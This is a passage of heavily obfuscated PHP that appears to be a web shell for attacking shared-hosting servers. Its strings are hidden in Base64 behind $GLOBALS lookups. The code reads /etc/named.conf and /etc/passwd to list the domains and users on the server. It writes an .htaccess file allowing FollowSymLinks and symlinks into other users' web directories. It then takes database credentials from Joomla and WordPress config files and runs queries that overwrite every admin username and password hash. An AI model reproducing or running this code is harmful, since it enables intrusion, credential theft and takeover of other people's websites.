elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIl1l1,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11 =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIl111,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11 =" <a href='".$IIIIIIIIl11I."' target='_blank'>WHMCS</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlI1I,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11=" <a href='".$IIIIIIIIlIll."' target='_blank'>Joomla</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIllII,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11=" <a href='".$IIIIIIIIlI1l."' target='_blank'>Joomla</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($vb,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11=" <a href='".$IIIIIIIIllIl."' target='_blank'>vBulletin</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIll1I,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11=" <a href='".$IIIIIIIIllll."' target='_blank'>vBulletin</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIl1II,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11=" <a href='".$IIIIIIIIll1l."' target='_blank'>vBulletin</a>";
}
else
{
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIII1lII = $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] ;
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu').$IIIIIIIII1I1[1][0].$GLOBALS['OOO0000O0']('Lz4=').$IIIIIIIII1I1[1][0].$GLOBALS['OOO0000O0']('PC9hPjwvdGQ+DQo8dGQ+').$IIIIIIII1I11.$GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('c3lt'):
if(!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))){
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
}else{
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if(!$IIIIIIIIIll1)
{
die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
}
else
{
echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($IIIIIIIIIll1 as $IIIIIIIIIl1l){
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='),$IIIIIIIIIl1l)){
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='),$IIIIIIIIIl1l,$IIIIIIIII1I1);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
if(strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) >2){
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=').$IIIIIIIII1I1[1][0]));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIII1lII = $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] ;
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEls')]($GLOBALS['OOO0000O0']('Lw=='),$GLOBALS['OOO0000O0']('c3ltL3Jvb3Q='));
$IIIIIIII1lII = $IIIIIIIII1I1[1][0];
$ir = $GLOBALS['OOO0000O0']('aXI=');
$il = $GLOBALS['OOO0000O0']('aWw=');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxbGxJ')]("/.^$ir/",$IIIIIIIII1I1[1][0]) or $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxbGxJ')]("/.^$il/",$IIIIIIIII1I1[1][0]) )
{
$IIIIIIII1lII = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIII1I1[1][0].$GLOBALS['OOO0000O0']('PC9kaXY+');
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$IIIIIIIII1I1[1][0].$GLOBALS['OOO0000O0']('Lz4=').$IIIIIIII1lII.$GLOBALS['OOO0000O0']('IDwvYT4gPC9kaXY+DQo8L3RkPg0KDQoNCjx0ZD4NCg==').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')]."
</td>
<td>
<a href='sym/root/home/".$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')]."/public_html' target='_blank'>symlink </a>
</td>
</tr></div> ";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('ZmlsZQ=='):
echo$GLOBALS['OOO0000O0']('DQpUaGUgZmlsZSBwYXRoIHRvIHN5bWxpbmsNCg0KPGJyIC8+PGJyIC8+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHZhbHVlPSIvaG9tZS91c2VyL3B1YmxpY19odG1sL2ZpbGUubmFtZSIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiB2YWx1ZT0iZmlsZS5uYW1lX3N5bSAoIEV4LiA6OiByb3lhbGlzdGUudHh0ICkiIHNpemU9IjYwIi8+PGJyIC8+PGJyIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic3ltbGluayIgbmFtZT0ic3ltbGluayIgLz4gPGJyIC8+PGJyIC8+DQoNCg0KDQo8L2Zvcm0+DQo=');
$IIIIIIII1lll = $_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')];
$symfile = $_POST[$GLOBALS['OOO0000O0']('c3ltZmlsZQ==')];
$symlink = $_POST[$GLOBALS['OOO0000O0']('c3ltbGluaw==')];
if ($symlink)
{
@mkdir($GLOBALS['OOO0000O0']('c3ltMQ=='),0777);
$IIIIIIII1l1l = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
$IIIIIIIIII1l =@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')] ($GLOBALS['OOO0000O0']('c3ltMS8uaHRhY2Nlc3M='),$GLOBALS['OOO0000O0']('dw=='));
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l ,$IIIIIIII1l1l);
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEls')]("$IIIIIIII1lll","sym1/$symfile");
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bTEv').$symfile.$GLOBALS['OOO0000O0']('IiA+').$symfile.$GLOBALS['OOO0000O0']('PC9hPg==');
}
break;
case $GLOBALS['OOO0000O0']('cmVhZA=='):
echo $GLOBALS['OOO0000O0']('cmVhZCAvZXRjL25hbWVkLmNvbmY=');
echo "<br /><br /><form method='post' action='?sws=read&save=1'><textarea cols='80' rows='20' name='file'>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$file = $GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m');
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($file,$GLOBALS['OOO0000O0']('cg=='));
if ($IIIIIIII11II){
$IIIIIIII11Il = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMUkx')]($IIIIIIII11II,@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($file));
echo $GLOBALS['OOO0000O0']('').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxs')]($IIIIIIII11Il).$GLOBALS['OOO0000O0']('');
}
else if (!$IIIIIIII11II)
{
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWwx')]($file) ;
}
else if (!$IIIIIIII11II)
{
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMTFJ')]($file);
}
else if (!$IIIIIIII11II)
{
$IIIIIIII111l = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEls')]($file,$GLOBALS['OOO0000O0']('c3ltLnR4dA=='));
if ($IIIIIIII111l){
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('c3ltL3N5bS50eHQ='),$GLOBALS['OOO0000O0']('cg=='));
$IIIIIIII11Il = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMUkx')]($IIIIIIII11II,@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($file));
echo $GLOBALS['OOO0000O0']('').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxs')]($IIIIIIII11Il).$GLOBALS['OOO0000O0']('');
}
}
echo "</textarea><br /><br /><input type='submit' value='Save'/> </form>";
if(isset($_GET[$GLOBALS['OOO0000O0']('c2F2ZQ==')])){
$IIIIIIII1111 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUlJ')]($_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')]);
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'),$GLOBALS['OOO0000O0']('dw=='));
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l,$IIIIIIII1111);
if($w){
echo $GLOBALS['OOO0000O0']('PGJyIC8+c2F2ZSBoYXMgYmVlbiBzdWNjZXNzZnVsbHk=');
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUkx')]($IIIIIIIIII1l);
}
break;
case $GLOBALS['OOO0000O0']('cGFzc3dk'):
if(isset($_GET[$GLOBALS['OOO0000O0']('c2F2ZQ==')]) and isset($_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')]) or @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA==')) >0){
$IIIIIIII1111 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUlJ')]($_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')]);
if(!file_exists($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA=='))){
$IIIIIIIIII1l = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA=='),$GLOBALS['OOO0000O0']('dw=='));
$w = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l,$IIIIIIII1111);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUkx')]($IIIIIIIIII1l);
}
if($w or @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA==')) >0){
echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIlIIlI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA=='));
foreach ($IIIIIIIlIIlI as $IIIIIIIIII1l){
$IIIIIIIIIII1=$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('Og=='),$IIIIIIIIII1l);
$IIIIIIIII1ll = $IIIIIIIIIII1[$GLOBALS['OOO0000O0']('MA==')];
echo "
<tr>
<td width='15%'>
$IIIIIIIII1ll
</td>
<td width='10%'>
<a href='sym/root/home/$IIIIIIIII1ll/public_html' target='_blank'>Symlink </a>
</td>
<td width='10%'>
<a href='$IIIIIIIIIIl1/sym/root/home/$IIIIIIIII1ll/public_html' target='_blank'>FTP</a>
</td>
</tr></div> ";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
die ($GLOBALS['OOO0000O0']('PC90cj48L2Rpdj4='));
}
}
echo $GLOBALS['OOO0000O0']('cmVhZCAvZXRjL3Bhc3N3ZA==');
echo "<br /><br /><form method='post' action='?sws=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$file = $GLOBALS['OOO0000O0']('L2V0Yy9wYXNzd2Q=');
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($file,$GLOBALS['OOO0000O0']('cg=='));
if ($IIIIIIII11II){
$IIIIIIII11Il = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMUkx')]($IIIIIIII11II,@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($file));
echo $GLOBALS['OOO0000O0']('').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxs')]($IIIIIIII11Il).$GLOBALS['OOO0000O0']('');
}
elseif(!$IIIIIIII11II)
{
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWwx')]($file) ;
}
elseif(!$IIIIIIII11II)
{
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMTFJ')]($file);
}
elseif(!$IIIIIIII11II)
{
for($IIIIIIIlIIll=0;$IIIIIIIlIIll<1000;$IIIIIIIlIIll++){
$IIIIIIIlIIl1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')]($IIIIIIIlIIll);
if (!empty($IIIIIIIlIIl1)) {
while (list ($IIIIIIIlII1I,$IIIIIIIlII1l) = each($IIIIIIIlIIl1)){
print "$IIIIIIIlII1l:";
}
print "\n";
}
}
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
echo "</textarea><br /><br /><input type='submit' value=' symlink '/> </form>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
break;
case $GLOBALS['OOO0000O0']('am9vbWxh'):
if(isset($_POST[$GLOBALS['OOO0000O0']('cw==')])){
$file = @file_get_contents($GLOBALS['OOO0000O0']('am9vbWxhLnR4dA=='));
$IIIIIIIlII11 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]("\n",$file);
echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
foreach ($IIIIIIIlII11 as $IIIIIIIlIlII){
$IIIIIIIlIlIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('fHw='),$IIIIIIIlIlII);
$IIIIIIII1I11 = $IIIIIIIlIlIl[0];
$IIIIIIIlIlI1 = $IIIIIIIlIlIl[1];
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1).$GLOBALS['OOO0000O0']('');
$IIIIIIIlIlll = @file_get_contents($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIII1I11));
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($GLOBALS['OOO0000O0']('SkNvbmZpZw=='),$IIIIIIIlIlll)){
$IIIIIIIlIl1I = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JHBhc3N3b3JkID0gJw=='),"';");
$IIIIIIIlIl1l = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JHVzZXIgPSAn'),"';");
$IIIIIIIlIl11 = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JGRiID0gJw=='),"';");
$IIIIIIIlI1II = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JGRicHJlZml4ID0gJw=='),"';");
$IIIIIIIlI1Il = $IIIIIIIlI1II.$GLOBALS['OOO0000O0']('dXNlcnM=');
$IIIIIIIlI1I1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWxJ')]($GLOBALS['OOO0000O0']('bG9jYWxob3N0'),$IIIIIIIlIl1l,$IIIIIIIlIl1I);
$IIIIIIIlIl11 = @mysql_select_db($IIIIIIIlIl11,$IIIIIIIlI1I1);
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `$IIIIIIIlI1Il` SET `username` ='sec-w.com'");
$IIIIIIIlI11I = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `$IIIIIIIlI1Il` SET `password` ='44a0bcda611514625ba94e0b1c0bdaed:2iets9ydjR3iOdSuyvW54pIzyF9M1P5J'");
if ($IIIIIIIlI1ll and $IIIIIIIlI11I ){$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2VyIFtzZWMtdy5jb21dIHBhc3MgWzFdPC9iPg==');}else{$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');}
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1).$GLOBALS['OOO0000O0']('');
echo "<tr>
<td><a target='_blank' href='http://$IIIIIIIlIllI'>$IIIIIIIlIlI1</a></td>
<td><a target='_blank' href='$IIIIIIII1I11'>config</a></td><td>".$r.$GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}else{
echo "<tr>
<td><a target='_blank' href='http://$IIIIIIIlIllI'>$IIIIIIIlIlI1</a></td>
<td><a target='_blank' href='http://$IIIIIIIlIlII'>config</a></td><td><b style='color:red'>failed</b></td></tr>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
die();
}
if(!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))){
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}else{
$IIIIIIIIIll1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if(!$IIIIIIIIIll1)
{
die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
}
else
{
echo "<div class='tmp'>
<form method='POST' action='$IIIIIIIIIlI1?sws=joomla'>
<input type='submit' value='Mass ching Admin' />
<input type='hidden' value='1' name='s' />
</form><br /><br />
<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('am9vbWxhLnR4dA=='),$GLOBALS['OOO0000O0']('dw=='));
foreach($IIIIIIIIIll1 as $IIIIIIIIIl1l){
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='),$IIIIIIIIIl1l)){
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='),$IIIIIIIIIl1l,$IIIIIIIII1I1);
if(strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) >2){
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=').$IIIIIIIII1I1[1][0]));
$IIIIIIIII11l=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhw');
$IIIIIIIII111=get_headers($IIIIIIIII11l);
$wp=$IIIIIIIII111[0];
$IIIIIIIIlIIl=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHA=');
$IIIIIIIIlII1=get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI=$IIIIIIIIlII1[0];
$IIIIIIIlI111=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIllIII=get_headers($IIIIIIIlI111);
$IIIIIIIllIIl=$IIIIIIIllIII[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11=$GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw')) == true )
{
$IIIIIIII1I11= $IIIIIIIII11l;
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11= $IIIIIIIIlIIl;
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIllIIl,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11= $IIIIIIIlI111;
}
else
{
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIIl1l = $IIIIIIIII1I1[1][0];
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l,"$IIIIIIII1I11||$IIIIIIIIIl1l \n");
if($w){$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPg==');}else{$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');}
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu').$IIIIIIIII1I1[1][0].$GLOBALS['OOO0000O0']('Pg==').$IIIIIIIII1I1[1][0]."</a></td>
<td><a href='$IIIIIIII1I11'>config</a></td><td>".$r.$GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('d3A='):
if(isset($_POST[$GLOBALS['OOO0000O0']('cw==')])){
$file = @file_get_contents($GLOBALS['OOO0000O0']('d3AudHh0'));
$IIIIIIIlII11 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]("\n",$file);
echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
foreach ($IIIIIIIlII11 as $IIIIIIIlIlII){
$IIIIIIIlIlIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('fHw='),$IIIIIIIlIlII);
$IIIIIIII1I11 = $IIIIIIIlIlIl[0];
$IIIIIIIlIlI1 = $IIIIIIIlIlIl[1];
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1).$GLOBALS['OOO0000O0']('');
$IIIIIIIlIlll = @file_get_contents($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIII1I11));
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($GLOBALS['OOO0000O0']('d3Atc2V0dGluZ3MucGhw'),$IIIIIIIlIlll)){
$IIIIIIIlIl1I = IIIIIIIllll1($IIIIIIIlIlll,"define('DB_PASSWORD', '","');");
$IIIIIIIlIl1l = IIIIIIIllll1($IIIIIIIlIlll,"define('DB_USER', '","');");
$IIIIIIIlIl11 = IIIIIIIllll1($IIIIIIIlIlll,"define('DB_NAME', '","');");
$IIIIIIIlI1II = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JHRhYmxlX3ByZWZpeCAgPSAn'),"';");
$IIIIIIIlI1Il = $IIIIIIIlI1II.$GLOBALS['OOO0000O0']('dXNlcnM=');
$IIIIIIIlI1I1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWxJ')]($GLOBALS['OOO0000O0']('bG9jYWxob3N0'),$IIIIIIIlIl1l,$IIIIIIIlIl1I);
$IIIIIIIlIl11 = @mysql_select_db($IIIIIIIlIl11,$IIIIIIIlI1I1);
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `$IIIIIIIlI1Il` SET `user_login` ='sec-w.com'") or die;
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]("UPDATE `$IIIIIIIlI1Il` SET `user_pass` ='$IIIIIIIllII1$IIIIIIIllIlI/.5i..$IIIIIIIllIll.fUHEmNZ.eIKYTwx/'") or die;
if ($IIIIIIIlI1ll){$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2VyIFtzZWMtdy5jb21dIHBhc3MgWzFdPC9iPg==');}
else
{
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1).$GLOBALS['OOO0000O0']('');
